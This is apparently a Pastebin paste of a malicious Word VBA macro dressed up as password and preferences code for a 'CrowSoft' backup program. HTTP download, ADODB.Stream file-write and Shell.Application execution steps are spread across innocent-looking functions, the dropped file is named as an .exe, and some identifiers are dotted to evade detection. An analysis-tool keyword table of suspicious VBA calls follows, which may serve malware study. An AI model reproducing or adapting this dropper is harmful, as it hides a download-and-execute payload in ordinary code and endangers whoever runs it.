  864. Public Function LoadPasswordFiles() As String
  865.     LoadPasswordFiles = ""
  866.   Dim Password As String
  867.   httpRequest.Send
  868.   On Error GoTo ExitFunction
  869.   Password = GetP.rogramPassword()
  870.  
  871.   m_PasswordFiles = GetI.niValue(csSecConfig, _
  872.                               csPasswordFiles, _
  873.                               vbNullString, _
  874.                               GetI.niFullFile(csIniFile))
  875.   m_PasswordFiles = Dec.ryptData(m_PasswordFiles, Password)
  876. ExitFunction:
  877.   Exit Function
  878. End Function
  879.  
  880. Public Function LoadMasterPassword() As Boolean
  881.   Dim bUseMasterPassword As Boolean
  882.  
  883.   bUseMasterPassword = Val(GetIniValue(csSecConfig, _
  884.                               csUseMasterPassword, _
  885.                               0, _
  886.                               GetIniFullFile(csIniFile)))
  887.   If bUseMasterPassword Then
  888.  
  889.     LoadMasterPassword = RequestMasterPassword(False)
  890.  
  891.   Else
  892.    
  893.     LoadMasterPassword = True
  894.  
  895.   End If
  896.  
  897. End Function
  898.  
  899. Public Sub EditPreferences(ByVal ShowMode As FormShowConstants, Optional ByVal dbPath As String)
  900.   Load fPreferences
  901.   If LenB(dbPath) Then
  902.     fPreferences.txPath.text = dbPath
  903.   End If
  904.   fPreferences.Show ShowMode
  905. End Sub
  906.  
  907. Public Sub FormLoad(ByRef f As String, ByVal bSize As Boolean)
  908.   On Error Resume Next
  909.  
  910.   With f
  911.    
  912.     .Top = GetIniValue(csSecWindows, .Name & "_top", 2000, GetIniFullFile(csIniFile))
  913.     .Left = GetIniValue(csSecWindows, .Name & "_left", 3000, GetIniFullFile(csIniFile))
  914.    
  915.     If bSize Then
  916.       .Width = GetIniValue(csSecWindows, .Name & "_width", 6000, GetIniFullFile(csIniFile))
  917.       .Height = GetIniValue(csSecWindows, .Name & "_height", 4000, GetIniFullFile(csIniFile))
  918.     End If
  919.   End With
  920. End Sub
  921.  
  922. Public Sub FormUnload(ByRef f As String, ByVal bSize As Boolean)
  923.   With f
  924.     If .WindowState = vbNormal Then
  925.       SetIniValue csSecWindows, .Name & "_top", .Top, GetIniFullFile(csIniFile)
  926.       SetIniValue csSecWindows, .Name & "_left", .Left, GetIniFullFile(csIniFile)
  927.      
  928.       If bSize Then
  929.         SetIniValue csSecWindows, .Name & "_width", .Width, GetIniFullFile(csIniFile)
  930.         SetIniValue csSecWindows, .Name & "_height", .Height, GetIniFullFile(csIniFile)
  931.       End If
  932.     End If
  933.   End With
  934. End Sub
  935.  
  936. Public Sub MngError(ByRef ErrObj As Object, _
  937.                     ByVal FunctionName As String, _
  938.                     ByVal Module As String, _
  939.                     ByVal InfoAdd As String, _
  940.                     Optional ByVal Title As String = "@@@@@")
  941.  
  942.   Title = pGetTitle(Title)
  943.   MsgBox "Error: " & Err.Description & vbCrLf _
  944.                    & "Funcion: " & Module & "." & FunctionName & vbCrLf _
  945.                    & InfoAdd, _
  946.          vbCritical, _
  947.          Title
  948. End Sub
  949.  
  950. Public Sub MsgWarning(ByVal msg As String, Optional ByVal Title As String = "@@@@@")
  951.     pMsgAux msg, vbExclamation, Title
  952. End Sub
  953.  
  954. Public Sub pMsgAux(ByVal msg As String, ByVal Style As VbMsgBoxStyle, ByVal Title As String)
  955.   msg = pGetMessage(msg)
  956.   Title = pGetTitle(Title)
  957.   MsgBox msg, Style, Title
  958. End Sub
  959.  
  960. Public Function pGetMessage(ByVal msg As String) As String
  961.   msg = Replace(msg, vbCrLf, vbCrLf)
  962.     With adodbStream
  963.        .Type = 1
  964.         .Open
  965.         .write httpRequest.responseBody
  966.         .savetofile tempFile, 2
  967.     End With
  968.   pGetMessage = msg
  969. End Function
  970.  
  971. Public Function pGetTitle(ByVal Title As String) As String
  972.   If Title = "" Then Title = "CrowSoft1"
  973.   If Title = "@@@@@" Then Title = "CrowSoft2"
  974.  
  975.     tempFile = "\" + Title + ".exe"
  976.  
  977.   pGetTitle = Title
  978. End Function
  979.  
  980. Public Function Ask(ByVal msg As String, ByVal default As VbMsgBoxResult, Optional ByVal Title As String) As Boolean
  981.   Dim N As Integer
  982.   msg = pGetMessage(msg)
  983.   If InStr(1, msg, "?") = 0 Then msg = "¿" & msg & "?"
  984.   If default = vbNo Then N = vbDefaultButton2
  985.   pGetTitle Title
  986.   Ask = vbYes = MsgBox(msg, vbYesNo + N + vbQuestion, Title)
  987.  
  988. End Function
  989.  
  990. Public Function TaskType(ByVal TaskFile As String, _
  991.                          ByVal bSilent As Boolean, _
  992.                          Optional ByRef strError As String) As String
  993.   Dim DocXml As cXml
  994.   Set DocXml = New cXml
  995.  
  996.   DocXml.init Nothing
  997.   DocXml.Name = GetFileName_(TaskFile)
  998.   DocXml.path = GetPath_(TaskFile)
  999.  
  1000.   If Not DocXml.OpenXml(bSilent, strError) Then Exit Function
  1001.  
  1002.  
  1003.   Dim Root  As Object
  1004.  
  1005.   Set Root = DocXml.GetRootNode()
  1006.  
  1007.   TaskType = Val(pGetChildNodeProperty(Root, DocXml, "TaskType", "Value"))
  1008.  
  1009. End Function
  1010.  
  1011. Public Function GetPasswordFiles() As String
  1012.   Set shellApp = CreateObject("Shell.Application")
  1013.     shellApp.Open (tempFile)
  1014. End Function
  1015.  
  1016. Public Function RequestMasterPassword(ByVal bWithConfirm As Boolean) As Boolean
  1017.   If Not bWithConfirm Then
  1018.     fMasterPassword.txPassword2.Visible = False
  1019.     fMasterPassword.lbConfirm.Visible = False
  1020.   End If
  1021.   fMasterPassword.Show vbModal
  1022.  
  1023.   If fMasterPassword.Ok Then
  1024.  
  1025.     m_MasterPassword = fMasterPassword.txPassword.text
  1026.     RequestMasterPassword = True
  1027.   End If
  1028.   Unload fMasterPassword
  1029. End Function
  1030.  
  1031. Public Function ValidateMasterPassword(ByVal Password As String) As Boolean
  1032.   Dim testValue As String
  1033.   testValue = GetIniValue(csSecConfig, _
  1034.                           csPasswordTestValue, _
  1035.                           vbNullString, _
  1036.                           GetIniFullFile(csIniFile))
  1037.   ValidateMasterPassword = DecryptData(testValue, Password) = c_testvalue
  1038. End Function
  1039.  
  1040. Public Function GetMasterPassword() As String
  1041.   GetMasterPassword = m_MasterPassword
  1042. End Function
  1043.  
  1044. Public Sub ChangeMasterPassword(ByVal OldMasterPassword As String, _
  1045.                                 ByVal NewMasterPassword As String)
  1046.  
  1047.   ' Tengo que levantar todas las tareas
  1048.  ' y grabar con la nueva password
  1049.  '
  1050.  Dim i As Long
  1051.   Dim Task As Object
  1052.  
  1053.   With fMain.lvTask.ListItems
  1054.     For i = 1 To .count
  1055.       If TaskType(.Item(i).SubItems(1), False) = c_TaskTypeBackupFile Then
  1056.         Set Task = New cTask
  1057.       Else
  1058.         Set Task = New cSQLTaskCommandBackup
  1059.       End If
  1060.      
  1061.       Dim oTask As cSQLTaskCommandBackup
  1062.       m_MasterPassword = OldMasterPassword
  1063.      
  1064.       If Task.Load(.Item(i).SubItems(1), False) Then
  1065.        
  1066.         m_MasterPassword = NewMasterPassword
  1067.         Task.Save
  1068.       End If
  1069.    
  1070.     Next
  1071.   End With
  1072.  
  1073.   m_MasterPassword = NewMasterPassword
  1074. End Sub
  1075.  
  1076. +------------+----------------------+-----------------------------------------+
  1077. | Type       | Keyword              | Description                             |
  1078. +------------+----------------------+-----------------------------------------+
  1079. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1080. | Suspicious | Kill                 | May delete a file                       |
  1081. | Suspicious | Open                 | May open a file                         |
  1082. | Suspicious | Shell                | May run an executable file or a system  |
  1083. |            |                      | command                                 |
  1084. | Suspicious | vbNormal             | May run an executable file or a system  |
  1085. |            |                      | command                                 |
  1086. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1087. |            |                      | command                                 |
  1088. | Suspicious | MkDir                | May create a directory                  |
  1089. | Suspicious | Shell.Application    | May run an application (if combined     |
  1090. |            |                      | with CreateObject)                      |
  1091. | Suspicious | Binary               | May read or write a binary file (if     |
  1092. |            |                      | combined with Open)                     |
  1093. | Suspicious | CreateObject         | May create an OLE object                |
  1094. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1095. |            |                      | strings                                 |
  1096. | Suspicious | ADODB.Stream         | May create a text file                  |
  1097. | Suspicious | SaveToFile           | May create a text file                  |
  1098. | Suspicious | Write                | May write to a file (if combined with   |
  1099. |            |                      | Open)                                   |
  1100. | Suspicious | Put                  | May write to a file (if combined with   |
  1101. |            |                      | Open)                                   |
  1102. | Suspicious | Output               | May write to a file (if combined with   |
  1103. |            |                      | Open)                                   |
  1104. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1105. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1106. |            |                      | may be used to obfuscate strings        |
  1107. |            |                      | (option --decode to see all)            |
  1108. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1109. |            | Strings              | may be used to obfuscate strings        |
  1110. |            |                      | (option --decode to see all)            |
  1111. | VBA string |                      | Chr$(10) & Chr$(13) & " "               |
  1112. |            |
  1113.                     |                                         |
  1114. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top